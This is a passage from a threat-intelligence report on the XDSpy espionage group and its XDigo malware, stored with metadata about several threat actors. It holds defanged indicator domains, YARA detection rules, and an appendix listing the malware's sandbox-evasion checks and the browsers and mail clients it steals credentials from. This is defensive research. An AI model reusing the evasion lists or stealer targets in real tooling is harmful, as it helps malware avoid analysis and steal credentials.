March 2025\r\ntemnayamashina[.]com|Suspected XDSpy, March 2025\r\nutrenneyesolntse[.]com|Suspected XDSpy, March 2025\r\nzelenyysalat[.]com|Suspected XDSpy, March 2025\r\nzhestovyyliker[.]com|Suspected XDSpy, March 2025\r\nzimniyeravlecheniya[.]com|Suspected XDSpy, March 2025\r\nlaultrachunk[.]com|Suspected XDSpy, April 2025\r\npromenimath[.]com|Suspected XDSpy, April 2025\r\nslomannyymonitor[.]com|Suspected XDSpy, April 2025\r\ndoverennyye-fayly[.]com|Suspected XDSpy, May 2025\r\nfaylsklad[.]com|Suspected XDSpy, May 2025\r\nmoy-pdf[.]com|Suspected XDSpy, May 2025\r\nnevynosimayapchela[.]com|Suspected XDSpy, May 2025\r\npdf-reyestr[.]com|Suspected XDSpy, May 2025\r\npdf-sklad[.]com|Suspected XDSpy, May 2025\r\nreyestr-faylov[.]com|Suspected XDSpy, May 2025\r\nserayagrust[.]com|Suspected XDSpy, May 2025\r\nprotej[.]org|Suspected XDSpy distribution, July 2024\r\nnniir[.]com|Suspected XDSpy distribution, July 2024\r\nfile-magazin[.]com|Suspected XDSpy distribution, May 2025\r\npdfmagazin[.]com|Suspected XDSpy distribution, May 2025\r\nskachivanie-failov[.]com|Suspected XDSpy, July 2023\r\nchistyyvozdukh[.]com|Suspected XDSpy, July 2024\r\nsvobodnoepredlozheniye[.]com|Suspected XDSpy, July 2024\r\nvash-disk[.]com|Suspected XDSpy, July 2024 - April 2025\r\nzagruzkadannykh[.]com|Suspected XDSpy, July 2024\r\nzetta-strakhovaniye[.]com|Suspected XDSpy, July 2024\r\nkhitrayalisitsa[.]com|Suspected XDSpy, August 2024\r\ntvoi-fayly[.]com|Suspected XDSpy, March 2025\r\nkletchatayarubashka[.]com|Suspected XDSpy, April 2025\r\ndownloading24[.]com|Suspected XDSpy distribution, July 2022\r\neasy-download24[.]com|Suspected XDSpy distribution, October 2022\r\nfull-downloader[.]com|Suspected XDSpy distribution, December 2022\r\nskachivanie-failov24[.]com|Suspected XDSpy distribution, April 2024\r\nobmen-faylami[.]com|Suspected XDSpy distribution, April 2024\r\ntvoy-disk[.]com|Suspected XDSpy distribution, June 2024\r\nwww.vashi-fayly[.]com|Suspected XDSpy distribution, June 2024\r\nzagruzkafayla[.]com|Suspected XDSpy distribution, June 2024\r\nfaylbox365[.]com|Suspected (high confidence) XDSpy distribution, November 2024\r\nzagruzka-pdf[.]com|Suspected XDSpy distribution, December 2024\r\nmoy-fayl[.]com|Suspected XDSpy distribution, December 2024\r\notpravkafaylov[.]com|Suspected XDSpy distribution, December 2024\r\npdfsklad[.]com|Suspected XDSpy distribution, December 2024\r\nYara rules\r\nrule XDSpy_LNK_2025 {\r\n meta:\r\n description = \"Matches XDSpy malicious LNK files, used in 2025\"\r\n references = \"TRR250601\"\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 21 of 25\n\nhash = \"904db68a915b4bbd0b4b2d665bb1e2c51fa1b71b9c44ce45ccd4b4664f2bfd8e\"\r\n hash = \"536cd589cd685806b4348b9efa06843a90decae9f4135d1b11d8e74c7911f37d\"\r\n hash = \"0b705938e0063e73e03645e0c7a00f7c8d8533f1912eab5bf9ad7bc44d2cf9c3\"\r\n date = \"2025-05-16\"\r\n author = \"HarfangLab\"\r\n context = \"file\"\r\n strings:\r\n $c1 = \"/nologo /r:System.IO.Compression.FileSystem.dll /out:%TEMP%\" wide fullword\r\n $c2 = \"%SystemRoot%\\\\Microsoft.Net\\\\Framework\\\\*jsc.exe\" wide fullword\r\n $c3 = \"+Convert.ToChar(46)+Convert.ToChar(105)+Convert.ToChar(110)+Convert.ToChar(105)\" wide fullword\r\n condition:\r\n (filesize \u003e 1KB) and (filesize \u003c 10KB)\r\n and (uint32(0) == 0x0000004C)\r\n and ((uint32be(4) == 0x01140200) and (uint32be(8) == 0x00000000) and (uint32be(12) == 0xC0000000) and (uint32be(16\r\n and (uint8(0x14) \u0026 0x20 == 0x20)\r\n and (uint8(0x14) \u0026 0x80 == 0x80)\r\n and (any of ($c*))\r\n}\r\nrule XDSpy_ETDownloader {\r\n meta:\r\n description = \"Matches XDSpy 1st stage ET Downloader malware\"\r\n hash = \"792c5a2628ec1be86e38b0a73a44c1a9247572453555e7996bb9d0a58e37b62b\"\r\n date = \"2025-05-16\"\r\n author = \"HarfangLab\"\r\n context = \"file\"\r\n strings:\r\n $dotNet = \".NETFramework,Version=\" ascii\r\n $s1 = \"$fcca44e8-9635-4cd7-974b-e86e6bce12cd\" ascii fullword\r\n $s2 = \"/startup\" wide fullword\r\n $s3 = \"ExportTests.dll\" ascii wide fullword\r\n $s4 = \"+d__\" ascii\r\n $s5 = \"+d__\" ascii\r\n $f1 = \"HttpWebResponse\" ascii fullword\r\n $f2 = \"set_UseShellExecute\" ascii fullword\r\n $f3 = \"set_CreateNoWindow\" ascii fullword\r\n $f4 = \"FromBase64String\" ascii fullword\r\n $f5 = \"set_ServerCertificateValidationCallback\" ascii fullword\r\n $f6 = \"AsyncTaskMethodBuilder\" ascii fullword\r\n $f7 = \"rangeDecoder\" ascii fullword\r\n $f8 = \"NumBitLevels\" ascii fullword\r\n $f9 = \"GetCallingAssembly\" ascii fullword\r\n $f10 = \"BlockCopy\" ascii fullword\r\n $f11 = \"MemoryStream\" ascii fullword\r\n condition:\r\n uint16(0) == 0x5a4d and\r\n filesize \u003e 20KB and filesize \u003c 120KB and\r\n $dotNet and\r\n (\r\n ( (2 of ($s*)) and (3 of ($f*)) )\r\n or ( all of ($f*) )\r\n )\r\n}\r\nrule XDSpy_XDigo {\r\n meta:\r\n description = \"Rule to catch XDSpy Main module, written in golang\"\r\n hash = \"49714e2a0eb4d16882654fd60304e6fa8bfcf9dbd9cd272df4e003f68c865341\"\r\n hash = \"0d983f5fb403b500ec48f13a951548d5a10572fde207cf3f976b9daefb660f7e\"\r\n hash = \"3adeda2a154dcf017ffed634fba593f80df496eb2be4bee0940767c8631be7c1\"\r\n date = \"2025-05-16\"\r\n author = \"HarfangLab\"\r\n context = \"file\"\r\n strings:\r\n $a1 = \"main.oooo_\" ascii\r\n $b1 = \"anti.go\" ascii fullword\r\n $b2 = \"crypto.go\" ascii fullword\r\n $b3 = \"file.go\" ascii fullword\r\n $b4 = \"main.go\" ascii fullword\r\n $b5 = \"net.go\" ascii fullword\r\n $b6 = \"log.go\" ascii fullword\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 22 of 25\n\n$b7 = \"settings.go\" ascii fullword\r\n $b8 = \"screenshot_windows.go\" ascii fullword\r\n $c1 = \"passwords.go\" ascii fullword\r\n $c2 = \"keylog.go\" ascii fullword\r\n condition:\r\n uint16(0) == 0x5a4d and\r\n filesize \u003e 1MB and\r\n filesize \u003c 15MB and\r\n #a1 \u003e 100 and\r\n (any of ($c*) or all of ($b*))\r\n}\r\nAppendix: additional details about XDigo samples\r\nAnti-analysis checks\r\nHardware characteristics are retrieved using the bios , baseboard , chassis and product string representations as\r\nprovided by the jaypipes/ghw package (v0.8.0), while hostname and user name are provided by the Go standard library.\r\nBIOS\r\nBOCHS\r\nGoogle\r\nKVM\r\nRed Hat\r\nRHEL\r\nVBOX\r\nVRTUAL\r\nSeaBIOS\r\nXen\r\nBaseboard\r\n1111-2222\r\nDefault string\r\nGoogle\r\nKVM\r\nMicrosoft\r\nOracle\r\nRed Hat\r\nRHEL\r\nTo be filled by\r\nChassis\r\nDefault string\r\nGoogle\r\nKVM\r\nMicrosoft\r\nOracle\r\nRed Hat\r\nRHEL\r\nQEMU\r\nProduct\r\n00000000\r\n11111111\r\n1111-2222\r\nGoogle\r\nKVM\r\nMicrosoft\r\nQEMU\r\nRed Hat\r\nRHEL\r\nVirtual\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 23 of 25\n\nVMware\r\nXen\r\nHostnames\r\nACEPC, Anna-PC, azure-PC, David-PC, John-PC, JOHNS-PC, JULIA-PC, Lisa-PC, LUCAS-PC, LOUISE-PC, MARCI-PC, MIKE-PC, Phil-PC\r\nUser names\r\nabby, Anna, azure, David, Frank, fred, george, Harry, John, Lisa, Louise, Julia, Lucas, mike, Peter, robert, Scott, Steve\r\nFile paths\r\nc:\\admin_Index.html\r\nc:\\analyzer.exe\r\nc:\\Cookies\r\nc:\\History\r\nc:\\Important.txt\r\nc:\\Meterpreter\r\nc:\\code.exe\r\nc:\\program.exe\r\nc:\\VMREMOTE\r\nc:\\Program Files\\Anti-Trojan\r\nc:\\program files\\fortinet\r\nc:\\program files\\meterpreter\r\nc:\\program files\\uvnc bvba\r\nC:\\program files\\CrowdStrike\r\nc:\\program files (x86)\\detonate.exe\r\nc:\\run_task.bat\r\nc:\\run_task.py\r\nc:\\VMRunner\r\nInformation stealing capabilities\r\nThe implementation of these capabilities require the following Go packages: mattn/go-sqlite3 (v1.14.17) which was released\r\non June 1, 2023, and billgraziano/dpapi (v0.4.0) which was released on Jun 30, 2021.\r\nWeb browsers\r\n7Star\r\nAmigo\r\nBrave\r\nCent Browser\r\nChedot\r\nChrome Canary\r\nChromium\r\nMicrosoft Edge\r\nCoc Coc\r\nComodo Dragon\r\nElements Browser\r\nEpic Privacy Browser\r\nGoogle Chrome\r\nKometa\r\nOrbitum\r\nSputnik\r\nTorch\r\nUran (uCoz Media)\r\nVivaldi\r\nMozilla Firefox\r\nBlackHawk (NETGATE Technologies)\r\nCyberfox (8pecxstudios)\r\nComodo IceDragon\r\nK-Meleon\r\nIceCat\r\nOpera\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 24 of 25\n\nYandex Browser\r\nInternet Explorer\r\nEmail clients\r\nMozilla Thunderbird\r\nMicrosoft Outlook\r\n1. up to revision 8.0 at least (dated 2024-04-23), which is the lastest available at the time of writing. ↩\r\n2. the command line arguments string also used to be limited to 259 characters in older Windows versions, if we believe\r\nin leaked source code files: see line 2719 in /shell/shell32/shelllnk.cpp and line 5164 in\r\n/shell/shell32/util.cpp . ↩\r\n3. “dokazatelstva” is a transliteration of the Russian word “доказательства”. Can be translated to “supporting\r\nevidence”. ↩ ↩\r\n4. “proyekt” is a transliteration of the Russian word “проект”. Can be translated to “project”. ↩ ↩\r\n5. this anti-analysis bypass might be implemented to facilitate implant development in developers’ environment. It is in\r\nany case a convenient anti-anti-analysis switch for defenders as well. ↩\r\n6. this will result in listing directories under C:Program Files and C:Program Files (x86) on most Windows\r\nsystems. ↩\r\n7. such value is retrieved using the jaypipes/ghw block package. On a Windows system, the package issues a WMI\r\nquery to get, among others, the SerialNumber property of the Win32_DiskDrive class. ↩\r\n8. this exact User-Agent is given as an example in the following Mozilla documentation as of 2025-06:\r\nhttps://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/User-Agent. It is associated with Microsoft\r\nEdge Version 91.0.864.59, which was released on June 24, 2021. ↩ ↩\r\n9. at the time of writing, none of the samples that are referenced in this report are available to us. ↩\r\n10. a typo removed the last character (‘9’) of the User-Agent string in the text of Kaspersky GERT report, but a\r\nscreenshot clearly shows the exact same User-Agent string. ↩\r\n11. jaypipes/ghw (v0.8.0) released on May 12, 2021, and used to perform the anti-analysis checks; ototto/clipboard\r\n(v0.1.4) released on February 24, 2021, from which an helper function is used to retrieve the content of the clipboard;\r\nand kbinani/screenshot (commit 7d3a670d8329) committed on July 20, 2021, to capture screenshots. ↩\r\n12. such behavior could also or instead help to build a good reputation for domains during automated categorisation and\r\nassessment, by serving or redirecting to known legitimate content. ↩\r\n13. SHA256: 021d13de99e996fbf03e57b78ce67630c19d33242eee8480383d7b065edebb51 ,\r\n9f17ff59172a802bc6ce8490c1ea379a5bf75af839f8b59373fba8c51e878af0 . ↩\r\n14. it is a known LOLBAS. ↩\r\nSource: https://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 25 of 25",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/"
	],
	"report_names": [
		"sadfuture-xdspy-latest-evolution"
	],
	"threat_actors": [
		{
			"id": "69cba9ab-de35-4103-a699-7d243bcfd196",
			"created_at": "2023-01-06T13:46:39.159472Z",
			"updated_at": "2026-04-10T02:00:03.233731Z",
			"deleted_at": null,
			"main_name": "XDSpy",
			"aliases": [],
			"source_name": "MISPGALAXY:XDSpy",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "9f101d9c-05ea-48b9-b6f1-168cd6d06d12",
			"created_at": "2023-01-06T13:46:39.396409Z",
			"updated_at": "2026-04-10T02:00:03.312816Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"CHROMIUM",
				"ControlX",
				"TAG-22",
				"BRONZE UNIVERSITY",
				"AQUATIC PANDA",
				"RedHotel",
				"Charcoal Typhoon",
				"Red Scylla",
				"Red Dev 10",
				"BountyGlad"
			],
			"source_name": "MISPGALAXY:Earth Lusca",
			"tools": [
				"RouterGod",
				"SprySOCKS",
				"ShadowPad",
				"POISONPLUG",
				"Barlaiy",
				"Spyder",
				"FunnySwitch"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "b98eb1ec-dc8b-4aea-b112-9e485408dd14",
			"created_at": "2022-10-25T16:07:23.649308Z",
			"updated_at": "2026-04-10T02:00:04.701157Z",
			"deleted_at": null,
			"main_name": "FunnyDream",
			"aliases": [
				"Bronze Edgewood",
				"Red Hariasa",
				"TAG-16"
			],
			"source_name": "ETDA:FunnyDream",
			"tools": [
				"Chinoxy",
				"Filepak",
				"FilepakMonitor",
				"FunnyDream",
				"Keyrecord",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"Md_client",
				"PCShare",
				"ScreenCap",
				"TcpBridge",
				"Tcp_transfer",
				"ccf32"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "d69b3831-de95-42c9-b4b6-26232627206f",
			"created_at": "2022-10-25T16:07:24.429466Z",
			"updated_at": "2026-04-10T02:00:04.985102Z",
			"deleted_at": null,
			"main_name": "XDSpy",
			"aliases": [],
			"source_name": "ETDA:XDSpy",
			"tools": [
				"ChromePass",
				"IE PassView",
				"MailPassView",
				"Network Password Recovery",
				"OperaPassView",
				"PasswordFox",
				"Protected Storage PassView",
				"XDDown",
				"XDList",
				"XDLoc",
				"XDMonitor",
				"XDPass",
				"XDRecon",
				"XDUpload"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "18a7b52d-a1cd-43a3-8982-7324e3e676b7",
			"created_at": "2025-08-07T02:03:24.688416Z",
			"updated_at": "2026-04-10T02:00:03.734754Z",
			"deleted_at": null,
			"main_name": "BRONZE UNIVERSITY",
			"aliases": [
				"Aquatic Panda",
				"Aquatic Panda ",
				"CHROMIUM",
				"CHROMIUM ",
				"Charcoal Typhoon",
				"Charcoal Typhoon ",
				"Earth Lusca",
				"Earth Lusca ",
				"FISHMONGER ",
				"Red Dev 10",
				"Red Dev 10 ",
				"Red Scylla",
				"Red Scylla ",
				"RedHotel",
				"RedHotel ",
				"Tag-22",
				"Tag-22 "
			],
			"source_name": "Secureworks:BRONZE UNIVERSITY",
			"tools": [
				"Cobalt Strike",
				"Fishmaster",
				"FunnySwitch",
				"Spyder",
				"njRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "6abcc917-035c-4e9b-a53f-eaee636749c3",
			"created_at": "2022-10-25T16:07:23.565337Z",
			"updated_at": "2026-04-10T02:00:04.668393Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Bronze University",
				"Charcoal Typhoon",
				"Chromium",
				"G1006",
				"Red Dev 10",
				"Red Scylla"
			],
			"source_name": "ETDA:Earth Lusca",
			"tools": [
				"Agentemis",
				"AntSword",
				"BIOPASS",
				"BIOPASS RAT",
				"BadPotato",
				"Behinder",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"Doraemon",
				"FRP",
				"Fast Reverse Proxy",
				"FunnySwitch",
				"HUC Port Banner Scanner",
				"KTLVdoor",
				"Mimikatz",
				"NBTscan",
				"POISONPLUG.SHADOW",
				"PipeMon",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"SAMRID",
				"ShadowPad Winnti",
				"SprySOCKS",
				"WinRAR",
				"Winnti",
				"XShellGhost",
				"cobeacon",
				"fscan",
				"lcx",
				"nbtscan"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "d53593c3-2819-4af3-bf16-0c39edc64920",
			"created_at": "2022-10-27T08:27:13.212301Z",
			"updated_at": "2026-04-10T02:00:05.272802Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Earth Lusca",
				"TAG-22",
				"Charcoal Typhoon",
				"CHROMIUM",
				"ControlX"
			],
			"source_name": "MITRE:Earth Lusca",
			"tools": [
				"Mimikatz",
				"PowerSploit",
				"Tasklist",
				"certutil",
				"Cobalt Strike",
				"Winnti for Linux",
				"Nltest",
				"NBTscan",
				"ShadowPad"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434113,
	"ts_updated_at": 1775826756,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/61f1279ef3d940a7d4dd3b8944d4eacd249772a1.pdf",
		"text": "https://archive.orkl.eu/61f1279ef3d940a7d4dd3b8944d4eacd249772a1.txt",
		"img": "https://archive.orkl.eu/61f1279ef3d940a7d4dd3b8944d4eacd249772a1.jpg"
	}
}